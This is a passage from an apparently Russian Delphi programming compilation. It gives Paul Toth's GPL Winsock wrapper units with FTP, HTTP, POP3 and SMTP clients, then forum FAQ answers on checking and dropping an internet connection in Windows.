    iMaxUdpDg: Word;
    lpVendorInfo: PChar;
  end;

{ Winsock }
Function WSAStartup(Version:word; Var Data:TwsaData):integer; stdcall; far; external winsock;
Function socket(Family,Kind,Protocol:integer):integer; stdcall; far; external winsock;
Function shutdown(Socket,How:Integer):integer; stdcall; far; external winsock;
Function closesocket(socket:Integer):integer; stdcall; far; external winsock;
Function WSACleanup:integer; stdcall; far; external winsock;
//Function WSAAsyncSelect(Socket:Integer; Handle:Hwnd; Msg:word; Level:Longint):longint; stdcall; far; external winsock;
Function bind(Socket:Integer; Var SockAddr:TSockAddr; AddrLen:integer):integer; stdcall; far; external winsock;
Function listen(socket,flags:Integer):integer; stdcall; far; external winsock;
Function connect(socket:Integer; Var SockAddr:TSockAddr; AddrLen:integer):integer; stdcall; far; external winsock;
Function accept(socket:Integer; Var SockAddr:TSockAddr; Var AddrLen:Integer):integer; stdcall; far; external winsock;
Function WSAGetLastError:integer; stdcall; far; external winsock;
Function recv(socket:integer; data:pchar; datalen,flags:integer):integer; stdcall; far; external winsock;
Function send(socket:integer; data:pointer; datalen,flags:integer):integer; stdcall; far; external winsock;
//Function getpeername(socket:integer; var SockAddr:TSockAddr; Var AddrLen:Integer):Integer; stdcall; far; external winsock;
Function gethostbyname(HostName:PChar):PHost; stdcall; far; external winsock;
//Function getsockname(socket:integer; var SockAddr:TSockAddr; Var AddrLen:Integer):integer; stdcall; far; external winsock;
//Function inet_ntoa(addr:longint):PChar; stdcall; far; external winsock;
Function WSAIsBlocking:boolean; stdcall; far; external winsock;
Function WSACancelBlockingCall:integer; stdcall; far; external winsock;
Function ioctlsocket(socket:integer; cmd: integer; var arg: integer): Integer; stdcall; far; external winsock;
//Function gethostbyaddr(var addr:longint; size,atype:integer):PHost; stdcall; far; external winsock;
Function gethostname(name:pchar; size:integer):integer; stdcall; far; external winsock;
function select(nfds:integer; readfds, writefds, exceptfds:pointer; var timeout:TTimeOut):integer; stdcall; far; external winsock;
function setsockopt(socket,level,optname:integer;var optval; optlen:integer):integer; stdcall; far; external winsock;
Function sendto(socket:integer; data:pointer; datalen,flags:integer; var SockAddr:TSockAddr; AddrLen:Integer):integer; stdcall; far; external winsock;
Function recvfrom(socket:integer; data:pointer; datalen,flags:integer; var SockAddr:TSockAddr; var AddrLen:Integer):integer; stdcall; far; external winsock;

Function IpToLong(ip:string):LongInt;
 var
  x,i:byte;
  ipx:array[0..3] of byte;
  v:integer;
 begin
  Result:=0;
  longint(ipx):=0; i:=0;
  for x:=1 to length(ip) do
   if ip[x]='.' then begin
    inc(i);
    if i=4 then exit;
   end else begin
    if not (ip[x] in ['0'..'9']) then exit;
    v:=ipx[i]*10+ord(ip[x])-ord('0');
    if v>255 then exit;
    ipx[i]:=v;
   end;
  result:=longint(ipx);
 end;

Function HostToLong(AHost:string):LongInt;
 Var
  Host:PHost;
 begin
  Result:=IpToLong(AHost);
  if Result=0 then begin
   Host:=GetHostByName(PChar(AHost));
   if Host<>nil then Result:=longint(Host^.Addr^^);
  end;
 end;

Function LongToIp(Long:LongInt):string;
 var
  ipx:array[0..3] of byte;
  i:byte;
 begin
  longint(ipx):=long;
  Result:='';
  for i:=0 to 3 do result:=result+IntToStr(ipx[i])+'.';
  SetLength(Result,Length(Result)-1);
 end;

//--- Server Side ------------------------------------------------------------------------
function StartServer(Port:word):integer;
 Var
  SockAddr:TSockAddr;
 begin
  Result:=socket(Internet,Stream,0);
  if Result=-1 then exit;
  FillChar(SockAddr,SizeOf(SockAddr),0);
  SockAddr.Family:=Internet;
  SockAddr.Port:=swap(Port);
  if (Bind(Result,SockAddr,SizeOf(SockAddr))<>0)
  or (Listen(Result,0)<>0) then begin
   CloseSocket(Result);
   Result:=-1;
  end;
 end;

function WaitClient(Server:integer):integer;
 var
  Client:TSockAddr;
  Size:integer;
 begin
  Size:=SizeOf(Client);
  Result:=Accept(Server,Client,Size);
 end;

function WaitClientEx(Server:integer; var ip:string):integer;
 var
  Client:TSockAddr;
  Size:integer;
 begin
  Size:=SizeOf(Client);
  Result:=Accept(Server,Client,Size);
  ip:=LongToIp(Client.Addr);
 end;

function SockReady(Socket:integer):boolean;
 var
  sockset:packed record
   count:integer;
   socks:{array[0..63] of} integer;
  end;
  timeval:TTimeOut;
 begin
  sockSet.count:=1;
  sockSet.socks:=Socket;
  timeval.sec  :=0;
  timeval.usec :=0;
  result:=Select(0,@sockSet,nil,nil,timeval)>0;
 end;

function SockAvail(Socket:integer):integer;
 var
  rdy:boolean;
 begin
  rdy:=SockReady(Socket); // before IoCtlSocket to be sure (?) that we don't get some data between the 2 calls
  if IoctlSocket(Socket, fIoNbRead,Result)<0 then
   Result:=-1
  else begin
   if (Result=0) and RDY then result:=-1; // SockReady is TRUE when Data ara Avaible AND when Socket is closed
  end;
 end;

function DataAvail(Var F:TextFile):integer;
 var
  s:integer;
 begin
 // cause of TexTFile Buffer, we need to check both Buffer & Socket !
  With TTextRec(F) do begin
   Result:=BufEnd-BufPos;
   s:=SockAvail(Handle);
  end;
  if Result=0 then Result:=s else if s>0 then Inc(Result,s);
 end;

Function BlockReadSock(Var F:TextFile; var s:string):boolean;
 Var
  Handle:THandle;
  Size:integer;
 begin
  Result:=False;
  Handle:=TTextRec(F).Handle;
  Repeat
   if (IoctlSocket(Handle, fIoNbRead, Size)<0) then exit;
   if Size=0 then exit
  until (Size>0);
  SetLength(s,Size);
  Recv(Handle,pchar(s),Size,0);
  Result:=True;
 end;

// Client Side--------------------------------------------------------------------------
function CallServer(Server:string; Port:word):integer;
 var
  SockAddr:TSockAddr;
 begin
  Result:=socket(Internet,Stream,0);
  if Result=-1 then exit;
  FillChar(SockAddr,SizeOf(SockAddr),0);
  SockAddr.Family:=Internet;
  SockAddr.Port:=swap(Port);
  SockAddr.Addr:=HostToLong(Server);
  if Connect(Result,SockAddr,SizeOf(SockAddr))<>0 then begin
   Disconnect(Result);
   Result:=-1;
  end;
 end;

// BroadCasting-------------------------------------
function StartBroadCast(Port:word):integer;
 Var
  SockAddr:TSockAddr;
  bc:integer;
 begin
  Result:=socket(Internet,Datagrams,17); // 17 for UDP ... work also with 0 ?!
  if Result=-1 then exit;
  FillChar(SockAddr,SizeOf(SockAddr),0);
  SockAddr.Family:=Internet;
  SockAddr.Port:=swap(Port);
//  SockAddr.Addr:=0; ?
  bc:=SO_BROADCAST;
  if (Bind(Result,SockAddr,SizeOf(SockAddr))<>0)
  or (setsockopt(Result,SOL_SOCKET,SO_BROADCAST,bc,SizeOf(bc))<>0) then begin
   CloseSocket(Result);
   Result:=-1;
  end;
 end;

function SendBroadCast(Server:integer; Port:word; s:string):integer;
 Var
  SockAddr:TSockAddr;
 begin
  SockAddr.Family:=Internet;
  SockAddr.Port:=swap(Port);
  SockAddr.Addr:=-1;
  Result:=SendTo(Server,@s[1],length(s),0,SockAddr,SizeOf(SockAddr));
 end;

function SendBroadCastTo(Server:integer; Port:word; ip,s:string):integer;
 Var
  SockAddr:TSockAddr;
 begin
  SockAddr.Family:=Internet;
  SockAddr.Port:=swap(Port);
  SockAddr.Addr:=IpToLong(ip);
  Result:=SendTo(Server,@s[1],length(s),0,SockAddr,SizeOf(SockAddr));
 end;

function ReadBroadCast(Server:integer; Port:word):string;
 Var
  SockAddr:TSockAddr;
  SockLen:integer;
  len:integer;
 begin
  FillChar(SockAddr,SizeOf(SockAddr),0);
  SockAddr.Family:=Internet;
  SockAddr.Port:=swap(Port);
  SockLen:=SizeOf(SockAddr);
  setlength(result,1024);
  len:=recvfrom(Server,@result[1],1024,0,SockAddr,SockLen);
  if len>0 then SetLength(result,len) else result:='';
 end;

function ReadBroadCastEx(Server:integer; Port:word; var ip:string):string;
 Var
  SockAddr:TSockAddr;
  SockLen:integer;
  len:integer;
 begin
  FillChar(SockAddr,SizeOf(SockAddr),0);
  SockAddr.Family:=Internet;
  SockAddr.Port:=swap(Port);
  SockLen:=SizeOf(SockAddr);
  setlength(result,1024);
  len:=recvfrom(Server,@result[1],1024,0,SockAddr,SockLen);
  if len>0 then SetLength(result,len) else result:='';
  ip:=LongToIp(SockAddr.Addr);
 end;

//------------ CrtSock -----------------
Var
 InitOk:boolean;

function OutputSock(Var F:TTextRec):integer; far;
 begin
 {$ifdef debug}writeln('out ',F.BufPtr);{$endif}
  if F.BufPos<>0 then begin
   Send(F.Handle,F.BufPtr,F.BufPos,0);
   F.BufPos:=0;
  end;
  Result:=0;
 end;

function InputSock(var F: TTextRec): Integer; far;
 Var
  Size:integer;
 begin
  F.BufEnd:=0;
  F.BufPos:=0;
  Result:=0;
  Repeat
   if (IoctlSocket(F.Handle, fIoNbRead, Size)<0) then begin
    EofSock:=True;
    exit;
   end;
  until (Size>=0);
  //if Size>0 then
  F.BufEnd:=Recv(F.Handle,F.BufPtr,F.BufSize,0);
  EofSock:=(F.BufEnd=0);
 {$ifdef debug}writeln('in  ',F.BufPtr);{$endif}
 end;

procedure Disconnect(Socket:integer);
 var
  dummy:array[0..1024] of char;
 begin
  ShutDown(Socket,1);
  repeat until recv(Socket,dummy,1024,0)<=0;
  CloseSocket(Socket);
 end;

function CloseSock(var F:TTextRec):integer; far;
 begin
  Disconnect(F.Handle);
  F.Handle:=-1;
  Result:=0;
 end;

function OpenSock(var F: TTextRec): Integer; far;
begin
  F.BufPos:=0;
  F.BufEnd:=0;
  if F.Mode = fmInput then begin // ReadLn
    EofSock:=False;
    F.InOutFunc := @InputSock;
    F.FlushFunc := nil;
  end else begin                 // WriteLn
    F.Mode := fmOutput;
    F.InOutFunc := @OutputSock;
    F.FlushFunc := @OutputSock;
  end;
  F.CloseFunc := @CloseSock;
  Result:=0;
end;

Procedure AssignCrtSock(Socket:integer; Var Input,Output:TextFile);
 begin
  with TTextRec(Input) do begin
    Handle := Socket;
    Mode := fmClosed;
    BufSize := SizeOf(Buffer);
    BufPtr := @Buffer;
    OpenFunc := @OpenSock;
  end;
  with TTextRec(Output) do begin
    Handle := Socket;
    Mode := fmClosed;
    BufSize := SizeOf(Buffer);
    BufPtr := @Buffer;
    OpenFunc := @OpenSock;
  end;
  Reset(Input);
  Rewrite(Output);
 end;

//----- Initialization/Finalization--------------------------------------------------

Procedure InitCrtSock;
 var
  wsaData:TWSAData;
 begin
  InitOk:=wsaStartup($101,wsaData)=0;
{$ifdef debug}allocconsole{$endif}
 end;

Procedure DoneCrtSock;
 begin
  if not InitOk then exit;
  if wsaIsBlocking then wsaCancelBlockingCall;
  wsaCleanup;
 end;

Initialization InitCrtSock;

Finalization DoneCrtSock;

end.


Ftpsock.pas

unit FtpSock;

{
  CrtSocket for Delphi 32
  Copyright (C) 1999-2001  Paul Toth <tothpaul@free.fr>
  http://tothpaul.free.fr

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

}

interface

uses
 CrtSock,SysUtils;

Function FtpLogon(Server,User,Password:string):integer;
Procedure FtpLogoff;
Function FtpQuote(cmd:string):boolean;
Function FtpOpenWrite(FileName:string):integer;
Function FtpOpenRead(FileName:string):integer;
Function FtpClose(FileHandle:integer):boolean;

Function FtpError:string;

implementation

var
 ftpin,ftpout:TextFile;
 last:string;
 read:boolean;

Function FtpError:string;
 begin
  result:=last;
 end;

Function ReadString:string;
 begin
  repeat
   readln(ftpin,Result);
//   writeln(result);
  until (Length(Result)<4)or(Result[4]<>'-');
  last:=Result;
 end;

Procedure WriteString(s:string);
 begin
//  writeln('>>>',s);
  WriteLn(ftpout,s);
 end;

Function Status:char;
 var
  s:string;
 begin
  s:=ReadString;
  if s='' then Status:='?' else Status:=s[1];
 end;

Function Exec(cmd:string):char;
 begin
  Writestring(cmd);
  Result:=Status;
 end;

Function FtpLogon(Server,User,Password:string):integer;
 begin
  Result:=CallServer(Server,21);
  if Result>0 then begin
   AssignCrtSock(Result,ftpin,ftpout);
   if Status='2' then begin
    if (Exec('USER '+User)='3') and (Exec('PASS '+Password)='2') then exit;
    Disconnect(Result);
    Result:=-3;
   end else begin
    Disconnect(Result);
    Result:=-2;
   end;
  end;
 end;

Procedure FtpLogoff;
 begin
  Exec('QUIT');
  CloseFile(ftpout);
 end;

Function FtpQuote(cmd:string):boolean;
 begin
  Writestring(Cmd);
  Result:=(Status='2');
 end;

Function GetValue(var s:string):integer;
 var
  i:integer;
 begin
  i:=length(s); while s[i]<>',' do dec(i);
  Result:=StrToInt(copy(s,i+1,3));
  SetLength(s,i-1);
 end;

Function FtpOpenWrite(FileName:string):integer;
 var
  s:string;
  b,e:integer;
  port:word;
 begin
  read:=false;
  Result:=-1;
  if Exec('PASV')<>'2' then exit;
  b:=4; while (b<length(last)) and (not (last[b] in ['0'..'9'])) do inc(b);
  e:=Length(last); while (e>0) and (not (last[b] in ['0'..'9'])) do dec(b);
  s:=copy(last,b,e-b-1);
  port:=getvalue(s);
  port:=256*getvalue(s)+port;
  for e:=1 to Length(s) do if s[e]=',' then s[e]:='.'; // replace "," by "." in IP address
  WriteString('STOR '+FileName);
//  writeln('call ',s,':',port);
  Result:=CallServer(s,port);
  if (Status<>'1')and(Result>=0) then begin
   Disconnect(Result);
   Result:=-1;
  end;
 end;

Function FtpOpenRead(FileName:string):integer;
 var
  s:string;
  b,e:integer;
  port:word;
 begin
  read:=true;
  Result:=-1;
  if Exec('PASV')<>'2' then exit;
  b:=4; while (b<length(last)) and (not (last[b] in ['0'..'9'])) do inc(b);
  e:=Length(last); while (e>0) and (not (last[b] in ['0'..'9'])) do dec(b);
  s:=copy(last,b,e-b-1);
  port:=getvalue(s);
  port:=256*getvalue(s)+port;
  for e:=1 to Length(s) do if s[e]=',' then s[e]:='.'; // replace "," by "." in IP address
  WriteString('RETR '+FileName);
  Result:=CallServer(s,port);
  if (Status<>'1')and(Result>=0) then begin
   Disconnect(Result);
   Result:=-1;
  end;
 end;

Function FtpClose(FileHandle:integer):boolean;
 begin
  Disconnect(FileHandle);
  result:=Status='2';
 end;

end.


Httpsock.pas

unit HttpSock;

{
  CrtSocket for Delphi 32
  Copyright (C) 1999-2001  Paul Toth <tothpaul@free.fr>
  http://tothpaul.free.fr

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

}

interface

function URLEncode(s:string):string;
function URLDecode(s:string):string;

function HttpGet(server,url:string; var header:string):string;
function HttpPost(server,url,data:string; var header:string):string;

implementation

uses
 crtsock,sysutils;

function URLEncode(s:string):string; // http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc1738.html
 var
  i:integer;
  c:char;
 begin
  result:='';
  for i:=1 to length(s) do begin
   c:=s[i];
   case c of
   // non-ASCII
    #$00..#$1F,#$7F,#$80..#$FF,
   // unsafe
    {' ',}'<','>','"','#','%','}','|','\','^','~', '[', ']', '`',
   // reserved
    ';','/','?',':','@','=','&',
    '$','-','_','.','+','!','*','''','(',')':
     result:=result+'%'+IntToHex(ord(c),2);
    ' ' :result:=result+'+';
    else result:=result+c;
   end;
  end;
 end;

function URLDecode(s:string):string;
 var
  i:integer;
 begin
  result:='';
  i:=1;
  while i<=length(s) do begin
   case s[i] of
    '+':result:=result+' ';
    '%':begin
         s[i]:='$';
         result:=result+chr(StrToInt(copy(s,i,3)));
         inc(i,2);
        end;
    else result:=result+s[i];
   end;
   inc(i);
  end;
 end;

function HttpGet(server,url:string; var header:string):string;
 var
  handle:integer;
  sin,sout:textfile;
  s:string;
 begin
  handle:=callserver(server,80);
  if handle<=0 then begin
   result:='';
   exit;
  end;
  assigncrtsock(handle,sin,sout);
  writeln(sout,'GET ',url,' HTTP/1.0');
  writeln(sout,'Accept: */*');
  writeln(sout,'Accept-Language: fr');
  writeln(sout,'User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; FREE)');
//  writeln(sout,'User-Agent: MySoft/1.0 (Delphi)');
  writeln(sout,'Connection: Keep-Alive');
  if header<>'' then writeln(sout,header);
  writeln(sout);

  header:='';
  result:='';

  readln(sin,s);
  while s<>'' do begin
   header:=header+s;
   readln(sin,s);
  end;

  while not eof(sin) do begin
   readln(sin,s);
   result:=result+s;
  end;

  disconnect(handle);
 end;

function HttpPost(server,url,data:string; var header:string):string;
 var
  handle:integer;
  sin,sout:textfile;
  s:string;
 begin
  handle:=callserver(server,80);
  if handle<=0 then begin
   result:='';
   exit;
  end;
  assigncrtsock(handle,sin,sout);
  writeln(sout,'POST ',url,' HTTP/1.0');
  writeln(sout,'Accept: */*');
  writeln(sout,'Accept-Language: fr');
  writeln(sout,'User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; FREE)');
//  writeln(sout,'User-Agent: MySoft/1.0 (Delphi)');
  writeln(sout,'Content-length: ',Length(data));
  writeln(sout,'Connection: Keep-Alive');
  if header<>'' then writeln(sout,header);
  writeln(sout);
  write(sout,data);

  header:='';
  result:='';

  readln(sin,s);
  while s<>'' do begin
   header:=header+s;
   readln(sin,s);
  end;

  while not eof(sin) do begin
   readln(sin,s);
   result:=result+s;
  end;

  disconnect(handle);
 end;

end.


Popsock.pas

unit PopSock;

{
  CrtSocket for Delphi 32
  Copyright (C) 1999-2001  Paul Toth <tothpaul@free.fr>
  http://tothpaul.free.fr

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

}

interface

uses
 CrtSock,SysUtils;

Function OpenMailBox(Server,User,Password:string):integer;
Procedure CloseMailBox;
Function MailCount:integer;
Function GetMail(Index:integer):string;

Function MailError:string;

implementation

var
 popin,popout:TextFile;
 last:string;
 read:boolean;

Function MailError:string;
 begin
  result:=last;
 end;

Function ReadString:string;
 begin
  repeat
   readln(popin,Result);
  until (Length(Result)<4)or(Result[4]<>'-');
  last:=Result;
 end;

Procedure WriteString(s:string);
 begin
  WriteLn(popout,s);
 end;

Function Status:char;
 var
  s:string;
 begin
  s:=ReadString;
  if s='' then Status:='?' else Status:=s[1];
 end;

Function Exec(cmd:string):char;
 begin
  Writestring(cmd);
  Result:=Status;
 end;

Function OpenMailBox(Server,User,Password:string):integer;
 begin
  Result:=CallServer(Server,110);
  if Result>0 then begin
   AssignCrtSock(Result,popin,popout);
   if Status='+' then begin
    if (Exec('USER '+User)='+') and (Exec('PASS '+Password)='+') then exit;
    Disconnect(Result);
    Result:=-3;
   end else begin
    Disconnect(Result);
    Result:=-2;
   end;
  end;
 end;

Procedure CloseMailBox;
 begin
  Exec('QUIT');
  CloseFile(popout);
 end;

Function MailCount:integer;
 var
  i:integer;
 begin
  Result:=-1;
  if Exec('STAT')<>'+' then exit;
  i:=pos(' ',Last); if i=0 then exit;
  while Last[i]=' ' do inc(i);
  Result:=0;
  while (i<length(Last))and(Last[i] in ['0'..'9']) do begin
   Result:=10*Result+ord(Last[i])-ord('0');
   inc(i);
  end;
 end;

Function GetMail(Index:integer):string;
 var
  s:string;
 begin
  Writeln(popout,'RETR ',Index);
  result:='';
  if Status='+' then begin
   ReadLn(popin,s);
   while s<>'' do begin
    result:=result+s+#13#10; // header
    ReadLn(popin,s);
   end;
   Repeat
    result:=result+s+#13#10; // body
    ReadLn(popin,s);
   until s='.';
  end;
 end;

end.


Smtpsock.pas

unit SmtpSock;

{
  CrtSocket for Delphi 32
  Copyright (C) 1999-2001  Paul Toth <tothpaul@free.fr>
  http://tothpaul.free.fr

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

}

interface

Uses
 CrtSock,Classes;

Function SmtpOpen(Server:string):integer;
Function SmtpError:string;
Procedure SmtpClose;
Function SmtpFrom(Email:string):boolean;
Function SmtpTo(Email:string):boolean;

Function SmtpHead(From,Rcpt,Subject:string):boolean;
Function SmtpSend(From,Rcpt,Subject:string; Msg:TStrings):boolean;
procedure SmtpJoin(Name:string; Stream:TStream; Count:integer);
Function SmtpDone:boolean;

implementation

var
 sin,sout:TextFile;
 last:string;

Function ReadString:string;
 begin
  repeat
   readln(sin,Result);
//   writeln(result);
  until (Length(Result)<4)or(Result[4]<>'-');
  last:=Result;
 end;

Procedure WriteString(s:string);
 begin
//  writeln('>>>',s);
  WriteLn(sout,s);
 end;

Function Status:char;
 var
  s:string;
 begin
  s:=ReadString;
  if s='' then Status:='?' else Status:=s[1];
 end;

Function Exec(cmd:string):char;
 begin
  Writestring(cmd);
  Result:=Status;
 end;

Function SmtpOpen(Server:string):integer;
 begin
  Last:='Server not found';
  Result:=CallServer(Server,25);
  if Result>0 then begin
   AssignCrtSock(Result,sin,sout);
   if Status='2' then begin
    if Exec('HELO MySoft.Delphi')='2' then exit;
    Disconnect(Result);
    Result:=-3;
   end else begin
    Disconnect(Result);
    Result:=-2;
   end;
  end;
 end;

Function SmtpError:string;
 begin
  Result:=Last;
 end;

Procedure SmtpClose;
 begin
  CloseFile(sout);
 end;

Function SmtpFrom(Email:string):boolean;
 begin
  Result:=(Exec('MAIL '+'From: '+EMail)='2');
 end;

Function SmtpTo(EMail:string):boolean;
 begin
  Result:=(Exec('RCPT To:'+Email)='2');
 end;

Function SmtpHead(From,Rcpt,Subject:string):boolean;
 begin
  Result:=False;
  if Exec('DATA')<>'3' then exit;
  WriteString('From: '+From);
  WriteString('To: '+Rcpt);
  WriteString('Subject: '+Subject);
  WriteString('Content-Type: text/plain; charset=ISO-8859-1');
  WriteString('Content-Transfer-Encoding: 8bit'#13#10);
  WriteString('');
  Result:=True;
 end;

Function SmtpSend(From,Rcpt,Subject:string; Msg:TStrings):boolean;
 begin
  Result:=False;
  if not SmtpHead(From,Rcpt,Subject) then exit;
  WriteString(Msg.Text);
  Result:=SmtpDone;
 end;

function uchr(b:byte):char;
 begin
  if b=0 then result:=#96 else result:=chr(b+32);
 end;

procedure SmtpJoin(Name:string; Stream:TStream; Count:integer);
 var
  s:string[76];
  size:integer;
  u:string;
  ss:integer;
  c1,c2:byte;
  x:integer;
 begin
  WriteString('begin 600 '+Name);
  size:=45;
  while Count>0 do begin
   if size>Count then size:=count;
   dec(count,size);
   Stream.Read(s[1],size);
   u:=uchr(size);
   ss:=2;
   c2:=0;
   for x:=1 to size do begin
    c1:=ord(s[x]);
    u:=u+uchr(c2 or (c1 shr ss));
    c2:=(c1 shl (6-ss)) and 63;
    ss:=(ss+2) and 7;
    if ss=0 then begin
     ss:=2;
     u:=u+uchr(c2);
     c2:=0;
    end;
   end;
   if (ss>2) then begin
    u:=u+uchr(c2)+#96;
    if ss=4 then u:=u+#96;
   end;
   WriteString(u);
  end;
  writeString('end');
 end;

Function SmtpDone:boolean;
 begin
  Result:=(Exec('.')='2');
  CloseFile(sout);
 end;

end.


Асинхронная ошибка

Вопрос: Почему не работает следующий код?

     begin
       ClietnSocket1.Open;
       if ClietnSocket1.Socket.Connected then
         ClietnSocket1.Socket.SendText('Hello');
       {..}
     end;
     // Выдает - ассинхронная ошибка.

Вы работаете в ассинхронном режиме. Следует использовать соответсвующие события.

Взято с http://delphiworld.narod.ru


Работа с интернетом

Cодержание раздела:

Соединение с интернетом
· Как можно разорвать соединение с интернетом?
· Есть ли соединение с инетом?
· Как узнать тип соединения с интернетом?
· Подключиться к Интернету, определить активные соединения, определить и сохранить параметры соединения New!

Как проверить существование URL?
Как скачать любой URL используя стандартные настройки сети?
Обзор компонентов InternetExpress
Где взять примеры использования Indy?
Как загрузить webpage с скрытым IP? New!
Использование Internet-функций Win32 API (статья) New!

См. также другие разделы:
Модем

См. также статьи в других разделах:
Как работать с Web камерой?


Соединение с интернетом

Cодержание раздела:

Как можно разорвать соединение с интернетом?
Есть ли соединение с инетом?
Как узнать тип соединения с интернетом?
Подключиться к Интернету, определить активные соединения, определить и сохранить параметры соединения New!

См. также другие разделы:
Модем


Как можно разорвать соединение с интернетом?

LONG lineDrop(
HCALL hCall,
LPCSTR lpsUserUserInfo,
DWORD dwSize
);

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru


Есть ли соединение с инетом?

За это отвечает ф-ии InternetGetConnectedState() из wininet.dll или InetIsOffLine() из url.dll

Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru

Единственный 100% достоверный способ узнать находится ли комп в интернете это скачать что-то со стабильного внешнего сервера - такого как Microsoft, Yahoo, AT&T... По другому ни одна функция локального компьютера не сможет отличить нахождение компьютера в интранете и в интернете... Я в своей программе для определения коннекта с интернетом пингую наш собственный DNS сервер, который стоит за Firewall и естественно пинговка идет через провайдера интернет. (В некоторых Firewall может быть запрещен Ping - тогда надо именно попытаться скачать что-нибудь)
Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Часто приложению, которое работает в интернете, требуется знать, подключён пользователь к интернету или нет. Предлагаю Вам довольно гибкое решение этого вопроса.

Совместимость: Delphi 3.x (или выше)

Для работы Вам необходимо импортировать функцию InetIsOffline из URL.DLL:

function InetIsOffline(Flag: Integer): Boolean; stdcall; external 'URL.DLL';

а затем поместить в программу простой вызов функции для проверки статуса соединения:

if InetIsOffline(0) then
ShowMessage('This computer is not connected to Internet!')
else
ShowMessage(You are connected to Internet!');

Эта функция возвращает TRUE если соединение с интернетов отсутствует, или FALSE если соединение установлено.

Замечание:
параметр Flag игнорируется, соответственно используем ноль.
Эта DLL обычно проинсталлирована на большинстве компьютеров. Она также существует в Win98 либо поставляется с Internet Explorer 4 или выше, Office 97 и т.д..
Более подробно можно прочитать в MSDN. Оригинал: http://msdn.microsoft.com/library/psdk/shellcc/shell/Functions/InetIsOffline.htm

Автор ответа: Vitaly Zayko
Взято из http://forum.sources.ru

interface

uses
  Windows, SysUtils, Registry, WinSock, WinInet;

type
  TConnectionType = (ctNone, ctProxy, ctDialup);

function ConnectedToInternet: TConnectionType;
function RasConnectionCount: Integer;

implementation

//For RasConnectionCount =======================
const
  cERROR_BUFFER_TOO_SMALL = 603;
  cRAS_MaxEntryName       = 256;
  cRAS_MaxDeviceName      = 128;
  cRAS_MaxDeviceType      = 16;
type
  ERasError = class(Exception);

  HRASConn = DWORD;
  PRASConn = ^TRASConn;
  TRASConn = record
    dwSize: DWORD;
    rasConn: HRASConn;
    szEntryName: array[0..cRAS_MaxEntryName] of Char;
    szDeviceType: array[0..cRAS_MaxDeviceType] of Char;
    szDeviceName: array [0..cRAS_MaxDeviceName] of Char;
  end;

  TRasEnumConnections =
    function(RASConn: PrasConn; { buffer to receive Connections data }
    var BufSize: DWORD;    { size in bytes of buffer }
    var Connections: DWORD { number of Connections written to buffer }
    ): Longint;
  stdcall;
  //End RasConnectionCount =======================

function ConnectedToInternet: TConnectionType;
var
  Reg:       TRegistry;
  bUseProxy: Boolean;
  UseProxy:  LongWord;
begin
  Result := ctNone;
  Reg    := TRegistry.Create;
  with REG do
    try
      try
        RootKey := HKEY_CURRENT_USER;
        if OpenKey('\Software\Microsoft\Windows\CurrentVersion\Internet settings', False) then
        begin
          //I just try to read it, and trap an exception
          if GetDataType('ProxyEnable') = rdBinary then
            ReadBinaryData('ProxyEnable', UseProxy, SizeOf(Longword))
          else
          begin
            bUseProxy := ReadBool('ProxyEnable');
            if bUseProxy then
              UseProxy := 1
            else
              UseProxy := 0;
          end;
          if (UseProxy <> 0) and (ReadString('ProxyServer') <> '') then
            Result := ctProxy;
        end;
      except
        //Obviously not connected through a proxy
      end;
    finally
      Free;
    end;

  //We can check RasConnectionCount even if dialup networking is not installed
  //simply because it will return 0 if the DLL is not found.
  if Result = ctNone then
  begin
    if RasConnectionCount > 0 then Result := ctDialup;
  end;
end;

function RasConnectionCount: Integer;
var
  RasDLL:    HInst;
  Conns:     array[1..4] of TRasConn;
  RasEnums:  TRasEnumConnections;
  BufSize:   DWORD;
  NumConns:  DWORD;
  RasResult: Longint;
begin
  Result := 0;

  //Load the RAS DLL
  RasDLL := LoadLibrary('rasapi32.dll');
  if RasDLL = 0 then Exit;

  try
    RasEnums := GetProcAddress(RasDLL, 'RasEnumConnectionsA');
    if @RasEnums = nil then
      raise ERasError.Create('RasEnumConnectionsA not found in rasapi32.dll');

    Conns[1].dwSize := SizeOf(Conns[1]);
    BufSize         := SizeOf(Conns);

    RasResult := RasEnums(@Conns, BufSize, NumConns);

    if (RasResult = 0) or (Result = cERROR_BUFFER_TOO_SMALL) then Result := NumConns;
  finally
    FreeLibrary(RasDLL);
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


